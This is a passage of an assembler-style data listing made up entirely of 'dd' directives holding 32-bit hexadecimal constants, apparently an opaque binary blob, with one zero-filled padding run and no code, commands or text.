981B4A67h, 7F61EC1h dd 61CAFB5Ch, 4DE0B15Bh, 0CE89931Ch, 4385A4B2h, 63B948Dh dd 68D15409h, 0B58832D7h, 122F9360h, 0F6BBA4B5h, 51C1B00Dh dd 0DF0738E1h, 0C58C2412h, 69F06E62h, 8AC22EA3h, 0B6973183h dd 1263FEB2h, 8B0784E5h, 0A434594Bh, 6ABE0C3Ah, 0A2216383h dd 9CB8C7ECh, 403DC430h, 0C96BC865h, 0DEC8253Eh, 0FA3C35DCh dd 553ED83Ah, 0DC645C1Dh, 4904BF4Ah, 0AEA070C6h, 8C1B8D69h dd 5258FE6Dh, 14C3CD50h, 0AAC3F2D7h, 0D0B50250h, 56FB3F0Bh dd 3ADC16CEh, 0CA32B45h, 98A947FDh, 0C34CC08Eh, 0C3ED43F2h dd 30537AAh, 4D859BCFh, 671A2FB3h, 498E60BAh, 415A01ECh dd 85B5B54Ah, 68BA05C7h, 0F3F4D605h, 1D25856Fh, 2DEA92ECh dd 0BB380B4Ch, 0B8C35266h, 7DC5AAF2h, 323759AAh, 69064F63h dd 0BFBADE54h, 0EEF68F93h, 0A3A027A7h, 0CACF5611h, 59FFC2CAh dd 161754C4h, 53243E7Dh, 7EB72EE3h, 2E865F56h, 0D30EBDCDh dd 0FCA6D444h, 6993E39Dh, 0E4E10B26h, 609EDA28h, 0D199C312h dd 5E280D30h, 0ABA9B94Ch, 7F97AAFh, 0B50EA8E0h, 671494A3h dd 0F1CA4A4Dh, 0E29B132Fh, 95B9EECBh, 8E13C99Eh, 7C0420F1h dd 0C6BE73CEh, 0E21EE46Ch, 405FC774h, 67D84539h, 0DFF090B6h dd 0E7CB056Fh, 7DE4A123h, 0ADA8D2A0h, 219E1E64h, 0BC85A53Ch dd 9F9F84B4h, 17835300h, 0BE4A7FB4h, 5A83E036h, 0CBEA932Eh dd 1505A212h, 978320F9h, 1D8C4745h, 2CFC5210h, 0D78F5098h dd 22A6BB07h, 139BCC8h, 43FEF56Ah, 4FCA07D6h, 9791CB31h dd 1D598F36h, 0E473FB3Ah, 0A3D2669h, 0A38FB9A1h, 0A5A7901Dh dd 0EB74CC22h, 0DFA36B23h, 0A7820014h, 0CD6B28E9h, 126D5EA9h dd 0BEA58BF2h, 0FFB853B6h, 0C1955077h, 3D046519h, 0F764A766h dd 189A9313h, 16E792F3h, 4B35B915h, 98753FF6h, 0F5456A07h dd 7BB9BE9Fh, 2A1AA4A9h, 1DD57E06h, 99183BCh, 0E75DA5A9h dd 0FC23E546h, 6E03E2FEh, 0F7E89C95h, 44A2D79h, 0E6A0B21h dd 3218D198h, 0C4F2F0Eh, 0BF7FA118h, 884D3FD0h, 827BC52Ah dd 0BA977035h, 0EC8D9772h, 57C35803h, 35081AA9h, 245D28E4h dd 0C1382ACEh, 859E5F48h, 0AB94B97Ch, 0BBF509F6h, 8808F7ABh dd 1C6FB02Dh, 0CB6805C1h, 239670DDh, 0D2CB0AD0h, 0A5A9451Bh dd 29D9A34Ch, 0E9BA7FB4h, 37C56458h, 0E41FFE02h, 1CC2982Eh dd 5614FDC5h, 867FA2BBh, 5BB835Dh, 0ACE37A62h, 185A2B4Fh dd 0E354D818h, 14D1F972h, 29BA1313h, 5916B748h, 0EC1E1AAFh dd 8134CB8Eh, 85215F18h, 0E252CCC8h, 5391E1D8h, 0AC34868Ch dd 8FD5AD75h, 0E28D911h, 2F0A3936h, 468ADB64h, 0D49F1877h dd 8A71B035h, 95FA626Eh, 5BFC05FBh, 35D6DD58h, 0D56A1BBCh dd 0BA7A8B9Bh, 1B7B3108h, 0EA39FBB2h, 0AAE3BA12h, 74B0BFF9h dd 0DE733667h, 0ED44FE73h, 0C169C841h, 9EB14004h, 4B588081h dd 0C54B45D4h, 0E836CD05h, 44F22F21h, 9C7E2550h, 6F588958h dd 908F2B34h, 994275F4h, 917AB750h, 0DBA08371h, 516B5C02h dd 1685F353h, 0E640B716h, 1B0CD79Dh, 0E8855899h, 840314D3h dd 0A978B053h, 0C607CFE8h, 45079835h, 37A8698Bh, 0AB3332D8h dd 2BE2AFF0h, 8C8E8F19h, 4A178469h, 8F65ED31h, 0B4F174BFh dd 378831FBh, 5495B64Bh, 595E630Ah, 0F2833E68h, 0D1FAAF06h dd 0B14677F7h, 76EA8DA1h, 4F8225CBh, 24F44DFAh, 0C9E3EC35h dd 0A5124204h, 0ADC60E0Fh, 0F8F2B960h, 276E3C5Dh, 0CCD4F188h dd 0DF266E28h, 0B1AFC421h, 0B3A2FCFEh, 74191376h, 606B0CEBh dd 0ADFADC8h, 2F6B3B4Ah, 5C2CCFB0h, 60707DC7h, 0F1FF7DE3h dd 0F50EA7C8h, 0E7D04E0Fh, 644B8162h, 16E1495Ch, 1D1AC576h dd 98CA9740h, 77D02F47h, 0B06494CBh, 0F4078D9h, 0F19F42B0h dd 0C1E4CFF2h, 0EB68D647h, 0AFC7BA74h, 5A9F567Bh, 0DD19E297h dd 5B70FEFFh, 0BE2AA7F1h, 0FE22FBD2h, 0B4AEAF12h, 9218B367h dd 0DC907E52h, 6E912383h, 35103D93h, 40207049h, 0D60F349Bh dd 44040621h, 0B19FFEDFh, 0F144BE64h, 647DB578h, 126B239Dh dd 0F48D7CCAh, 0CE2D4AD7h, 9EA69174h, 0F46F88CEh, 0A3212CD8h dd 17131D8h, 36ED5049h, 73BC637Fh, 7204D405h, 0AE70409h dd 16A747DAh, 9086EE94h, 0EC87A4F9h, 0E2B2709h, 28C6412Ah dd 59BE588Dh, 0CE5FBAD2h, 0CAE935D1h, 0CE9BFE07h, 0E58D56CEh dd 848ECFFAh, 0FC403FFFh, 0B0C7C233h, 4323E3E9h, 74C6F94Ah dd 8094BEF7h, 0C4220928h, 22BEF61Fh, 138A64Fh, 6A006B23h dd 0FAB71623h, 55E80945h, 5DD5A183h, 0CF1AE5A1h, 977B991Bh dd 51D8A1D9h, 0F62134DDh, 0B049BA1Ah, 53A33A7Fh, 846D0667h dd 783B72DFh, 0E8625A83h, 0C36F7CF4h, 83A1E53Fh, 0DA5D2D28h dd 8F32B392h, 102EBDABh, 0E3D7977Eh, 70FBA2F7h, 4FFD00EDh dd 0FF7F97BFh, 780AFC14h, 0EB1E0AAEh, 3015C618h, 0E133AB6Ah dd 45A3EAA4h, 211B4ADEh, 0CE11F270h, 78F7ADC4h, 34FEA2ABh dd 1FDA7413h, 8CCFC617h, 291EAEE0h, 222745DDh, 0F39E5829h dd 0EFB2C461h, 0F21FBCF3h, 31E230CEh, 943B5B54h, 7C46EF3Fh dd 0EFE5FA6h, 5B994FEAh, 3DB087A8h, 8088FD43h, 0D0FFBF37h dd 8ADA8B85h, 7530DD03h, 0E05CC639h, 2ADA868h, 0BD0ABF93h dd 0ED611080h, 0D64E9F21h, 0E3895F97h, 2F098817h, 0DA7C14E9h dd 36E14E13h, 2E17D663h, 17FB70EBh, 71BDA50Ch, 53FA8316h dd 43C4B7A3h, 34E8E3B8h, 121E30D1h, 0CF65C81Ch, 2E9B693Fh dd 71F14D08h, 904495C4h, 5EF1B9C5h, 88855CC0h, 0A5928CFBh dd 0E9F45750h, 0FDB327D3h, 87DC4A4Fh, 0C9DC695Fh, 10A2064Fh dd 60252C8Ch, 0F1DC2DCDh, 24368B52h, 1800AAEAh, 0A57CD81Ch dd 523E4658h, 516873F2h, 8CC25D8Ah, 791D97B0h, 4EAB6339h dd 379830Dh, 0A62CC4D3h, 1D7A828Eh, 0CD6D02D5h, 20F89955h dd 0A46EC6AAh, 0C455B22Ah, 11782D5Ch, 0A79471FBh, 3AE45CCEh dd 2BE376DEh, 130EB3D2h, 0BB9E23B2h, 4AD2C81h, 8690B826h dd 64EB517Dh, 21925532h, 124F1C68h, 0C233AD7Dh, 0AB8496E8h dd 94495384h, 0D524C18Eh, 8B019B54h, 6813984Fh, 0F217332Ch dd 0AFD2B03Fh, 48090FEDh, 346E2377h, 0DBA27472h, 8764F889h dd 6550F505h, 0AA5D3ED9h dd 4847FCC5h, 0E8CDCA97h, 0ADB1E92h, 80451E85h, 0E2178FA1h dd 5136DB4h, 35E4BD89h, 1F81C296h, 71147437h, 9EC09C19h dd 0B140E2B1h, 618421F0h, 7EEC4ADDh, 0FACF31C4h, 0C64DF00Fh dd 0D6A7DC44h, 0CEE4758Ah, 62798CF9h, 0AA0EA062h, 140245DEh dd 75AC71EDh, 2F72FF43h, 53EC9A87h, 8A975A1Fh, 89350055h dd 63F6F9C8h, 0A0088293h, 0ED5714BFh, 820F2A15h, 0E94A7BF2h dd 494C2DABh, 218F1958h, 5E47B1F0h, 2C3BB342h, 93D3D75Eh dd 0A453DB47h, 0C64E777Fh, 0DD1DE190h, 0F9A98337h, 63A466E9h dd 781A845Fh, 0D49644BDh, 1A45462Fh, 0CE17E9C6h, 0AE4933Ah dd 0F5674648h, 38A8F358h, 6E6F46A2h, 26D82CE4h, 98463091h dd 0E40AD111h, 607C16DFh, 0DC875049h, 0B5867F7Eh, 1310D415h dd 15DAA5B6h, 0FC82EB73h, 9F4246DFh, 0CA57FD85h, 0AA77F638h dd 8E4E353Dh, 2B10BECFh, 449B084Ah, 7CC1992h, 55EB1A2Dh dd 0A0C7902Bh, 986DEA51h, 464BDC37h, 29C7148Eh, 0E16F4710h dd 0D61E2834h, 343EF8A7h, 0C0DF82B3h, 0A65D8227h, 3A47556Dh dd 28B15CE5h, 630DFC4h, 0ADA8254Eh, 8F620C86h, 0D77EFC27h dd 71C28E30h, 0A2ED7C8Ch, 9C07DD19h, 1246FB49h, 0FA8F4A18h dd 0C95B655Bh, 0B49E410Fh, 0E123ED75h, 0E34546D4h, 82CBBE32h dd 79F69DAh, 438AFE3h, 843F0A97h, 0C94B6B8Bh, 5E266C29h dd 0AAEC3028h, 2F0F4AFCh, 0E224F112h, 945DA5E7h, 5FCED64Fh dd 5038251h, 7B0DEAB7h, 0E3E9F06Ah, 7976E2D6h, 0C6D3C268h dd 86A8B106h, 9C288F7Fh, 8726AB41h, 9F84CF01h, 8879A213h dd 0A66C54Eh, 0C438A174h, 86D6DB99h, 1776262Eh, 0A2CCC15Fh dd 0FA233984h, 0F3F5FE60h, 0BF7A4A3Fh, 679CD13Eh, 6524A968h dd 8C9506F0h, 3CA28190h, 38A550D8h, 0D93A9313h, 0C5065672h dd 7D9DCB49h, 0FDA6FBA4h, 33C36A34h, 0C9863CF0h, 0E6A0A935h dd 49E9773Fh, 0CC8823BCh, 839A1C2Ah, 0C09A95Eh, 0D06508ACh dd 5C2ADD76h, 0BCBF86Eh, 0CE1AD270h, 9935C46Ah, 379F5EF4h dd 7B2BF780h, 0F8BC58EDh, 0CAAF45F0h, 991D7553h, 8C001Dh dd 0F3B2B673h, 5266A84Fh, 5CEAA406h, 0C78F56DEh, 0D647EDADh dd 4F08850Dh, 0D7D0A139h, 0F97A343Ah, 7FEA904Dh, 0EE830BD9h dd 3E6290EAh, 0B765D092h, 0DC7E29D7h, 983E3C21h, 33A32FEBh dd 81B088EEh, 85200182h, 0E9CA0E37h, 98B36534h, 6C7832E0h dd 0D3297C72h, 0BD51C973h, 0C7F29620h, 0A15DE4A8h, 835CC98Ah dd 9A6FC8AAh, 12D2D01Bh, 0ECA6A4B4h, 0DF5A0046h, 6118387Fh dd 5B2AAAAFh, 99D5621Ah, 8402DFA6h, 0F0AB4B0Fh, 0D77C7A43h dd 8C3A474Fh, 0F3A62C94h, 0F6310360h, 2B89E1Dh, 212EF5ACh dd 9B5F1609h, 43B8BA6Ch, 0A3B7FF0h, 839D0CC9h, 0E754ECD3h dd 8C2985E0h, 0EE3274D0h, 0DE6272EDh, 0A561D152h, 0CEA3E2AFh dd 7B0A8624h, 4B99A6B4h, 8B717A1Ch, 26ED186Dh, 0CA39AF20h dd 50CA521Ah, 79DE5083h, 72B48559h, 4CCE8144h, 0F34016A0h dd 0E1539442h, 6F7486C4h, 0B766B030h, 1ADA448Eh, 0F8DF79C0h dd 0EF828120h, 7ED1F46Ch, 8B77A077h, 58119D4Dh, 6CD30D2Fh dd 70CA61D7h, 129EFh, 0EB802BEDh, 7FF4B106h, 0F39F16CFh dd 0F56CBC79h, 791D4343h, 70541885h, 934D0082h, 2731E956h dd 406F8201h, 73FE1A61h, 0B43F48D7h, 0B8DB7567h, 0F4594A0Bh dd 0B6727AAAh, 0D63FC049h, 19CC856h, 4D0339ACh, 280D01A5h dd 715A8908h, 469DE5A0h, 0E61F5A3Fh, 19BD38C3h, 344DE17Dh dd 0F4ADF872h, 0EA82B25Fh, 8E2E5490h, 66406C40h, 88EB3B5h dd 10D3A43Fh, 0DBA47C06h, 2E06571Bh, 60856CEBh, 90599F6h dd 0E8D7797Fh, 26F01659h, 0DD540610h, 12AF3C8Eh, 0EAC8BD67h dd 489E6F6Ah, 1F6AF16Bh, 50AB85F2h, 0B7CA3FE9h, 764E19BDh dd 0E4A857CAh, 9B6D8565h, 0F2EFC30Ch, 0AC4D63AEh, 0B6CB8E66h dd 0FF82874Ah, 662DDD7Dh, 535B86F2h, 0A2994392h, 6B7EF5A8h dd 52FDA1DDh, 19DD5690h, 0E9B98838h, 1AB16D8Eh, 8074904Fh dd 0AB9D4FA4h, 0A965FDBAh, 0E40B06D3h, 0F3B6A51Fh, 9CA84D95h dd 3C250528h, 46C63B6Fh, 0E531C350h, 3BFC7531h, 723AB421h dd 41430C2h, 1E06090Eh, 0C965894Ah, 0CFDC09h, 58EF533Fh dd 0A6D5F2B6h, 4983DBBBh, 0C655F4D4h, 8E81216Bh, 5B8958Ch dd 22AAAA72h, 80C615D1h, 58D906F1h, 0AA37CEAFh, 0D14AD342h dd 44C8EC30h, 4639B078h, 0E5ABD5C4h, 0E08DBB5Bh, 0DA653h dd 0B2CD00C4h, 0F71A45C4h, 98584476h, 0E8C857Ah, 8A5AA5B1h dd 0F910846Ah, 0F9A84A1Ch, 0F3F8F329h, 33EB2B24h, 39E3A6F1h dd 0AD06906Fh, 196A99E4h, 7CA8471Bh, 0DD250D2Ch, 0CB1B3F6Bh dd 0C456EFFCh, 7AC60296h, 65365847h, 8F35FF5Ch, 7E05DCA7h dd 128C10E2h, 332EAB2h, 6B9F5826h, 46F74Ch, 5FE0CA8Fh dd 3D63A315h, 45ADF8F7h, 18C04504h, 0D95CE54h, 9A8C1EE5h dd 9416E48Fh, 0A06666D3h, 0A07C3FF6h, 67185C31h, 3E102A92h dd 0C54AC564h, 793AFC87h, 512FE5BCh, 0AFD3B1FCh, 0B201DDFEh dd 60E8A825h, 0C7E05E9Bh, 9EB30C29h, 56B5E94h, 6C299A47h dd 0BECE5A4h, 0D6B80DC6h, 0C036824Bh, 401911BCh, 0DCA31567h dd 3C8D4819h, 0B0C66F83h, 366CA224h, 72552300h, 26C29DB4h dd 0C77CE718h, 38E3B64Eh, 400BC653h, 6A2CD587h, 6F32EEADh dd 3AF3AA62h, 0FCC02F59h, 66B778C6h, 0B29D70CBh, 6EB7EF16h dd 0C6944B94h, 8E77F630h, 0FD8432Ch, 7147E178h, 3711477Bh dd 0CC4827EDh, 0F5AC5618h, 15AD703Bh, 2A33A156h, 837B3311h dd 6234ED6Ah, 0FD8B62EEh, 956DA3D5h, 0FFAAF49h, 44B56433h dd 23B01771h, 0FDF9253h, 0F1BF7844h, 899F19E6h, 5688B078h dd 41D5CA20h, 9D5D36E8h, 8E8E885Fh, 2D0F0CDAh, 54199777h dd 0E14FBFBCh, 40C0840Ah, 0B9EF22C7h, 65174D83h, 0DB3A09D7h dd 47CE356Eh, 15B166CAh, 6CB4825Eh, 5117DD8Eh, 767E1B90h dd 0EEB0735Fh, 88BF67A2h, 0C26365B4h, 0B9EA070Dh, 0DD9665CDh dd 0B743D5BDh, 0F52B9D99h, 1BC7A9BFh, 87608672h, 1C56A945h dd 821B22E8h, 0D34C0CD8h, 99508D76h, 9E7C30C8h, 0E3F0BE4Ch dd 0DCDE10B4h, 9D843334h, 0EDA129F4h, 6C455E2Dh, 0BD8A569Eh dd 0A290EC83h, 847FD8EEh, 3FF42E0Eh, 0E7B965EBh, 0D44B21A4h dd 0D4A58448h, 2312CE54h, 0B4CB0605h, 0DB5055DAh, 9411471Bh dd 0C36C04EBh, 7DABE470h, 7D51D663h, 54151495h, 31C19942h dd 0EE638978h, 0D6BA7243h, 0CBF0BF46h, 0CA4672BDh, 1B0EE455h dd 408A430Ch, 0FE4F1415h, 7CE6881Fh, 0E81EAE8Bh, 0A2420096h dd 0B009CDABh, 0C344B6FEh, 0BF77477Ch, 926413C9h, 9C762FC7h dd 0BF8D8307h, 0F9BB7388h, 1DC69728h, 808A8F46h, 0ED4522E0h dd 570C22Eh, 32D80EA2h, 5FE32BFCh, 0C346F48Ch, 0CE4C0B17h dd 28F24A16h, 0A833E896h, 0D49464E8h, 0B28E6710h, 0DE144A78h dd 66E9B5A8h, 9512FEA4h, 62CA06DDh, 35E56BCBh, 0E58E8925h dd 38F69D27h, 3BF8BD71h, 0A440DA7Fh, 4BACE2F4h, 55E5B37Dh dd 8B09E5BAh, 0F8F69263h, 4DD09E33h, 0B377B4A9h, 677D4308h dd 0A858FA2h, 8E5A08D9h, 2DE124CAh, 5D0BD583h, 32685E94h dd 0B876A314h, 88378EAAh, 1D14338Ah, 0A8659030h, 0DF693706h dd 0A07D1Dh, 27C6D88Eh, 0D17DF339h, 4F2BCD19h, 0B74705CDh dd 0D59A41E0h, 2EFF6539h, 928C4E8Ch, 0AA77B780h, 4E113204h dd 0CC4C632Ch, 0CA90B6F2h, 8A5616D1h, 0D04B26ECh, 53D92438h dd 1E18625h, 0B6C70975h dd 7CA7EC15h, 98F921C2h, 0C182761Fh, 49E3D4AAh, 0CB5F36C6h dd 0E9E6353Ch, 2DD46774h, 0B6E2DA55h, 80689ED2h, 731EC853h dd 7B9542C7h, 9C41EEB0h, 47CC438Eh, 0BA73CE5Eh, 30982E0Ch dd 7C98E55h, 31FDB645h, 57E8D180h, 0F951C3BEh, 90E96F3Fh dd 39F198CFh, 35E9BD7Fh, 613BDF42h, 894011A1h, 0E3B979B3h dd 0BC5D5793h, 0EEAD0FE3h, 8DA3BF34h, 54E07DA3h, 2793A96Fh dd 6D338945h, 0BF50DCA7h, 32070CF1h, 2AD04742h, 39D167C2h dd 0A7DED474h, 1D9D7A69h, 0F88958h, 0A16424F5h, 0EE8541DFh dd 2D65934Bh, 63E3417Bh, 2D5BEFB7h, 0A70566A7h, 0CA9947C2h dd 3FE46A3Ch, 93430129h, 7F6D45B2h, 0A56CBBE0h, 1879191Eh dd 0D251AF53h, 0D4C21A0Dh, 0A046E89Eh, 0B6157DB1h, 28D829F6h dd 413BE592h, 0B0530287h, 0E94437FCh, 6D45F29h, 0F5E39D90h dd 78E4346Dh, 0E1808FB6h, 420EA922h, 7135DB8Ah, 1048BE9Eh dd 6ED1A8DEh, 7C36EFA2h, 0BB7D2E83h, 4FD3A1Fh, 22FBC36Bh dd 5B09AF77h, 0ABD57E1Fh, 0AC2256B3h, 0C53A04BDh, 0FC072A90h dd 16F3BFFAh, 6FE9B67Dh, 8D9E278Bh, 6EBA1BE7h, 622E1239h dd 0AAAD20EAh, 0CE0599E8h, 0C7601970h, 0E1E76D56h, 2CF6EBEBh dd 0D918F610h, 739C6731h, 0C97AD5B8h, 886BEF4Eh, 80B6E8F8h dd 67F4748Fh, 0EBB44AB1h, 6D458109h, 0FC5E2AF0h, 27FB800Bh dd 149CDC70h, 0AD1338EFh, 77BB9BBFh, 0FA17268Ch, 884D9A5Fh dd 7C482E05h, 0A37745EAh, 7D06EFB4h, 0C8230BABh, 0D786994Eh dd 1EF5F5C9h, 0F99630C4h, 41FD401Bh, 0D61E524Eh, 3C5C10CAh dd 87410523h, 147CC275h, 7F423AD1h, 996DCDB7h, 0D0977337h dd 6A1C7C2Eh, 0A4942D7Ch, 0DA209E70h, 782F183Dh, 2C1B55C5h dd 5F85F280h, 0CA5A212Dh, 655EC13Ah, 671EE84Bh, 0DD523383h dd 8AE931DFh, 0BA0030A2h, 5DD413DFh, 91648E9Dh, 0AB740168h dd 55E54C42h, 99426397h, 22C107D0h, 66DF22FEh, 0BEE27D3Dh dd 69328B62h, 0B67F88A9h, 84A424EDh, 0FBBBE45Dh, 1E570091h dd 50921C5Ch, 3F3D7FF2h, 8A53DEA6h, 0FB319161h, 0B0A16A33h dd 0B585AE7Fh, 22AC7CACh, 0FEC88A13h, 0B1FAAB02h, 68C942E1h dd 7104DA60h, 0B942CB57h, 55C42EF0h, 579B5B94h, 514F8A4Eh dd 5102CB94h, 0BD864F98h, 31FA939Ch, 45E06068h, 3D8B4B64h dd 76BF68CDh, 9B1612A4h, 0DFE9A9C2h, 7039D243h, 10D144AEh dd 0CACB07D7h, 0E1AAC30Eh, 27EC4F18h, 2304A1A1h, 827E480Ah dd 65357E2Fh, 8D5ED753h, 24249264h, 0C797D069h, 7BD451F1h dd 0A52C6032h, 14DD2653h, 58D1824Bh, 0A784569Fh, 4BEE5A6Eh dd 5D995992h, 175F9591h, 0B67FDE47h, 0CE3A8E87h, 0B181AA73h dd 712A3B07h, 9B1A5628h, 0E24FA526h, 9760C980h, 0C00180CEh dd 0EE2B226Ch, 4C9297AEh, 961EDF4Eh, 78BC51C4h, 0AA733C2Dh dd 0F972DBE1h, 699F95D8h, 0A5E45133h, 35567BBEh, 0F1BA83ACh dd 2CBA2EA1h, 0CFC5E9F6h, 0B2D4AE37h, 541A0271h, 0E5308D14h dd 55A9EA63h, 0DA3A03CCh, 0FE3785B8h, 5197AB0Ah, 0C95EFFC5h dd 9127F730h, 9A03BCB1h, 0F62F79D8h, 5474EDADh, 0EBB44DF4h dd 2C010A2Bh, 60853303h, 0C48D56DFh, 0D07DCDFBh, 2EA4763Fh dd 0C72CF587h, 0E71A1616h, 0AF9E44C5h, 0EB545487h, 0E469FA3Ah dd 0BA96B81Ah, 2309F0B2h, 0D0F64C6Bh, 5BC0A999h, 0C14A9E2h dd 8A4A8E88h, 37112A04h, 92A81502h, 0DA372072h, 4EBC7A58h dd 342761EBh, 276153E3h, 4B6A226Ah, 521BE02Bh, 96E8F189h dd 69A97E9Bh, 0E7D89162h, 0ACE2D61Bh, 0F7C089h, 80700ABEh dd 56B60F09h, 0A7C0B9FFh, 176804E2h, 31098070h, 0AC1630C0h dd 0E102948Dh, 49098711h, 11AAEA81h, 0F9810987h, 4E203FFh dd 0C3E57Fh, 133h dup(0) dd 7FD79A8h, 274FCFA2h, 44F1F7E4h, 8CE88C2Bh, 95AD7261h dd 948F17A2h, 4CBE5307h, 62D367C8h, 8CC30F0Bh, 7C4C9B91h dd 0CCDA3CD8h, 8C43DFE5h, 0B3EE7CB2h, 2CD34C3Fh, 0A1510BF7h dd 0BDEE6C27h, 0F41665D5h, 0A6ABE199h, 47D4E7AAh, 8E8EA38Eh dd 8785F66Ah, 0B36F8A0Bh, 42F4373Ch, 0E7334351h, 17D88820h dd 0CF67D77Eh, 4761B56Ch, 675A0AB6h, 0B3D07E58h, 2A4F5746h dd 875D23C9h, 52BC0746h, 77D6350h, 27367CD2h, 46F15F34h dd 0E2A2D72Eh, 8765E30Bh, 0B29F92AFh, 3849375Ch, 0A7076383h dd 6A59F10h, 0A28E970Ah, 4741A314h, 72C36B73h, 137EF6B8h dd 0A6AF02E2h, 0C6E8A004h, 66E13EE6h, 932276E0h, 26978251h dd 53583359h, 999BD68Eh, 0C6D1C25Dh, 0A7CBFEC2h, 433036BCh dd 0E6F342A6h, 120DCB3Dh, 0B32C96EAh, 46E1A2B4h, 669AB476h dd 67287B98h, 0CE8F5686h, 0C689360Ch, 9C16A9D1h, 867D3694h dd 329793C6h, 332DB634h, 0DF3B9E6Fh, 8665F66Fh, 0B28EA3EFh dd 7AD4361Ch, 0A647B753h, 0A32B8550h, 32A62BC7h, 8672B604h dd 0C39BC6Eh, 0D675A63Ah, 0A62F165Ah, 53D6616Ch, 0E6634262h dd 159DF3A9h, 5257965Ah, 6CAC3B0Eh, 370B9614h, 0C3D39E5Ch dd 5AA81602h, 85EAB549h, 8766AAF6h, 0FAED35E4h, 65F4155Fh dd 11744AE4h, 0E8DB95CAh, 0C5C67D5Dh, 445298D2h, 0AFC975D8h dd 1A9005C6h, 45A9C255h, 62C3D5BAh, 0C5343CFCh, 3DAB95BDh dd 68A0716Eh, 0C99F55B6h, 0D611B011h, 781E55D6h, 5CD6171h dd 259794E2h, 0BAD2E584h, 256F62EBh, 9E01B578h, 21EA9C3Ah dd 4E69757Fh, 0A570D1E3h, 85C0FE60h, 7557D549h, 0E2C44A07h dd 9A4B955Ah, 0C55671FDh, 66AAEA42h, 3A397528h, 0A520D583h dd 0C6B88A30h, 0DA27D53Eh, 535A591h, 0FE8E2A1Eh, 815B50Ch dd 0E51BF497h, 50F6650Ch, 0E5434132h, 4FD3CE8h, 34721DFAh dd 0C9F1F4E0h, 24FF1C6Bh, 311AA4E8h, 0A49F00F2h, 0C4D96334h dd 0E4FFBCD6h, 814474D0h, 2487806Dh, 54C10949h, 9BECD4FEh dd 0C4A1532Dh, 1DF74CB2h, 0C4A934D7h, 0F12DE12Bh, 0FC1674E0h dd 9CF63069h, 44D1A404h, 0A40E3471h, 0F4617FCh, 0ABF2675h dd 922BC909h, 0C7E6AB24h, 0EC6D3464h, 0DB986B8Ch, 0C73BB3EDh dd 5BDBD099h, 47B581A7h, 0B70DA1ADh, 47A340Ch, 6973AB22h dd 442E00C5h, 0AD171D3Ah, 0D9BCB05Ch, 646BC61Bh, 0E02DACA1h dd 0A4399D45h, 0E06DBF1Ch, 0DA92321Ah, 81022E5Dh, 24079486h dd 0C53DC207h, 63BE83C0h, 0FE70FCF8h, 28EF13F2h, 7AF91790h dd 0E3E35370h, 0AD2FB3D2h, 6FFC5C51h, 155AA3F0h, 479FD0B6h dd 0A39F78C4h, 0AF9B4FC1h, 0F832F38Fh, 0EF972FB5h, 1389073Bh dd 560160FBh, 476530A1h, 0E0C2D975h, 0B8D5F75Bh, 41FA0BD0h dd 0B69171B7h, 68B6B884h, 777E57F2h, 98259F5Eh, 4371B376h dd 809C015Dh, 0B0A3F032h, 0ABD475ABh, 0F04549D7h, 0E357E884h dd 0C2C67350h, 674470BDh, 8442BF60h, 2738D3B5h, 81DEFF1Ch dd 0C44BD301h, 0C32935A3h, 212797A5h, 3D57328h, 669C931Ah dd 3F244C04h, 0EC0B931Dh, 83054B88h, 0D6CAEC02h, 4DF972EFh dd 0E2F39676h, 7AD88DF0h, 0ADE7D2F9h, 42E10664h, 62DB6ADEh dd 411CF2D8h, 0A2DDED5Ah, 0C2C952CCh, 0E28320F3h, 2BD76C0h dd 22B792BAh, 4206B33Ch, 0DB77E41Dh, 0D5F9C8EBh, 0F6D15CEBh dd 0B1E041C0h, 0D1FE37E2h, 61FB2EA2h, 46E4F5E7h, 26AF80B7h dd 0E7BBE12h, 8275F278h, 0A26F1272h, 0C269326Ch, 0E2635266h dd 25D7260h, 2257925Ah, 4251B254h, 624BD24Eh, 8245F248h dd 0A23F1242h, 0C239323Ch, 0E2335236h, 22D7230h, 2227922Ah dd 4221B224h, 621BD21Eh, 8215F218h, 0A20F1212h, 0C209320Ch dd 0E2035206h, 1FD7200h, 21F791FAh, 41F1B1F4h, 61EBD1EEh dd 91E5F1E8h, 0F1AB74A5h, 80BA5EAEh, 84A135B2h, 0A8CD02A3h dd 6DB0742Ch, 0DA5D0ABh, 0C9B3D7h, 81F488CAh, 0D649147Dh dd 0A0CC43EFh, 88E534D2h, 1DC14CCh, 5671C678h, 32FEDDD7h dd 0FEA99EBh, 81E09DECh, 0D69A80EAh, 0B510432Bh, 8D1A1713h dd 0C3237115h, 4420E68Ch, 3218E210h, 2536B42Ah, 0E2308331h dd 0D83D7E26h, 2CA4310Dh, 841026A3h, 734F3434h, 4E7AE355h dd 0E831D450h, 275C3785h, 0CD40945Ah, 0C06D734Bh, 1B19486Eh dd 1E64B4C9h, 6E4E2B5Ch, 0D107E87Ah, 0D11B11Bh, 58B9FA4h dd 0EC9CB696h, 9DEF5197h, 8C9CA4F9h, 8F8F13BCh, 89DD1593h dd 0DFA204C3h, 10B2C295h, 18A2B6A1h, 0E3B3ACC8h, 0C4DC77AFh dd 0A497028Fh, 0E0B30FDAh, 5C9733B0h, 6EE9D9FDh, 39D2ECF0h dd 0DFEA4EDh, 0F6C9C2ABh, 0C3E87DF1h, 0EEBB03E8h, 0E0EF3CE2h dd 7D70ECh, 2077907Ah, 4071B074h, 606BD06Eh, 8065F068h dd 0A05F1062h, 0C059305Ch, 0E0535056h, 4D7050h, 2047904Ah dd 4041B044h, 603BD03Eh, 8035F038h, 0A02F1032h, 0C029302Ch dd 0E0235026h, 1D7020h, 2017901Ah, 4011B014h, 600BD00Eh dd 8005F008h, 9FFF1002h, 0BFF92FFCh, 0DFF34FF6h, 0A8ED6FF0h dd 2DD4E183h, 73ADE7CAh, 2A90E18Eh, 9F59AB3h, 0A6FF21E1h dd 0CABD5CECh, 0E1EE72A4h, 0B1EF2A8Bh, 2D84C3FFh, 0CEBE3B4h dd 0A4C3CF9Ch, 97A5AC83h, 9F9F0F80h, 0E413E5AFh, 383F6DAEh dd 0F1079108h, 0EA08B32h, 0D6A2255Fh, 82618325h, 97FFA692h dd 9F6F0F72h, 37812F12h, 87634F66h, 935E200h, 1F57E6B2h dd 3FBD2E54h, 0D64BCF4Ah, 7F2DB9AEh, 603F0F40h, 0D56F2569h dd 0F576C236h, 0AAD23960h, 2ED00624h, 0CDDE1EE4h, 0A05C08B0h dd 1A6D8A36h, 0F70C489Ah, 0BF093F0Dh, 0DD03C98Bh, 0FE3B6F00h dd 0E1A1DE7Dh, 3EF1AEA1h, 5EEBCEEEh, 7EE5EEE8h, 9EDF0EE2h dd 0BED92EDCh, 0DED34ED6h, 0FECD6ED0h, 0CC998C1h, 